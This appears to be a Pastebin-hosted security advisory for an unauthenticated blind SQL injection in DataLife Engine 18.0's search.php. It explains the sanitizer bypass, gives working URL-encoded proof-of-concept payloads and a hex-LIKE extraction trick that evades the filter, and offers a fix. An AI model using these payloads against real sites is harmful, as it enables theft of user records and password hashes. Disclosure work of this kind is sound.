Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # DataLife Engine 18.0 — Unauthenticated Boolean-Based Blind SQL Injection in `modules/search.php`
- ## Summary
- An unauthenticated SQL injection vulnerability exists in the search module of DataLife
- Engine (DLE) 18.0. The `story` request parameter, when submitted with `all_word_seach=1`
- (and the site running the default `full_search=0`), reaches a MySQL query without the
- engine's `safesql()` escaping. The only sanitizer applied is the custom `strip_data()`
- function, which is bypassable and allows an attacker to break out of the SQL string
- literal and inject arbitrary boolean conditions, enabling full read access to the
- database via boolean-based blind extraction. No authentication is required.
- ## Affected Product
- - **Vendor:** SoftNews Media Group — https://dle-news.ru/
- - **Product:** DataLife Engine (DLE)
- - **Version:** 18.0 (build 103); earlier versions using the same `strip_data()` /
- `all_word_seach` code path are likely affected.
- - **Component:** `engine/modules/search.php`
- - **Parameter:** `story` (with `all_word_seach=1`, `titleonly=2`)
- ## Vulnerability Details
- - **Type:** SQL Injection (CWE-89), boolean-based blind
- - **Authentication:** None (public search endpoint, guest group)
- - **Attack vector:** Remote, HTTP `POST /index.php?do=search`
- ### Root cause
- 1. `search.php` reads `story` through `strip_data()` (line ~67):
- `strip_data()` applies `stripslashes()` **before** re-escaping single quotes
- (`str_replace("'", "\\'")`). The input `\\'` therefore survives as a backslash-escaped
- backslash followed by an **unescaped** string terminator, closing the SQL string.
- 2. On the `all_word_seach=1` branch (lines ~488-490), when `full_search=0`, the value is
- used **without** `$db->safesql()` (mysqli_real_escape_string) — only `strip_data()`
- guards it.
- 3. The value is interpolated into the static-page search query
- (`titleonly_where[2] = PREFIX."_static.template LIKE '%{story}%'"`, line ~691) and
- executed (line ~774/814). With `titleonly=2` the clause has **no wrapping parentheses**,
- so a trailing `#` cleanly comments out the remainder.
- `strip_data()` strips `( ) = , . % < > + - * ^ $ & [ ] { } ; :`, which blocks classic
- tooling (e.g., sqlmap function/subquery payloads). Extraction is achieved with
- parenthesis-free `CASE WHEN <expr> THEN 1 ELSE 0 END` and hex-encoded string comparisons
- (`col LIKE 0x...25`), where `0x25` supplies the `%` wildcard without the stripped literal.
- ## Proof of Concept
- Endpoint: `POST http://TARGET/index.php?do=search`
- Body (URL-encoded), TRUE vs FALSE oracle (response differs — results shown vs. none):
- ```
- # TRUE (results returned)
- do=search&subaction=search&story=%5C%5C%27%20OR%201%20LIKE%201%20%23&all_word_seach=1&titleonly=2&search_start=0
- # FALSE (no results)
- do=search&subaction=search&story=%5C%5C%27%20AND%201%20LIKE%202%20%23&all_word_seach=1&titleonly=2&search_start=0
- ```
- Data extraction (example — DB version, char by char via hex LIKE prefixes):
- ```
- story = \\' OR CASE WHEN @@version LIKE 0x382E342E3225 THEN 1 ELSE 0 END #
- (0x382E342E3225 = '8.4.2%' → TRUE ⇒ version starts with 8.4.2)
- ```
- A full extractor recovers `@@version`, `CURRENT_USER`, `@@hostname`, `@@datadir`, and
- arbitrary table/column data (e.g., `_static.name`, `_static.descr`) via the same method.
- ## Impact
- Full unauthenticated read access to the database (CWE-89): DBMS version, current user,
- host/path metadata, and arbitrary table contents (user records, hashes, configuration).
- ## CVSS
- - **CVSS 3.1:** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 (High)**
- ## Remediation / Suggested Fix
- Apply `$db->safesql()` to `story` on the `all_word_seach=1` branch (as already done on the
- other branches), i.e. do not rely on `strip_data()` alone for SQL context:
- ```php
- // engine/modules/search.php — all_word_seach=1 branch (~line 488)
- } else {
- $story = $db->safesql($story); // <-- add: escape before use in SQL
- $story_maxlen = dle_strlen(trim($story));
- }
- ```
- Preferably migrate the `_static` / `_post` search paths to parameterized/prepared
- statements so SQL context no longer depends on string sanitizers.
- ## Disclosure Timeline
- - 2026-07-21 — Vulnerability identified and reproduced in an isolated DLE 18.0 lab install.
- - 2026-07-21 — Public advisory published (this document).
- - 2026-07-21 — Submitted to VulDB for CVE assignment.
- - Vendor status: public disclosure; vendor (SoftNews) not directly contacted.
- ## Credit
- elman99, independent security researcher.
Advertisement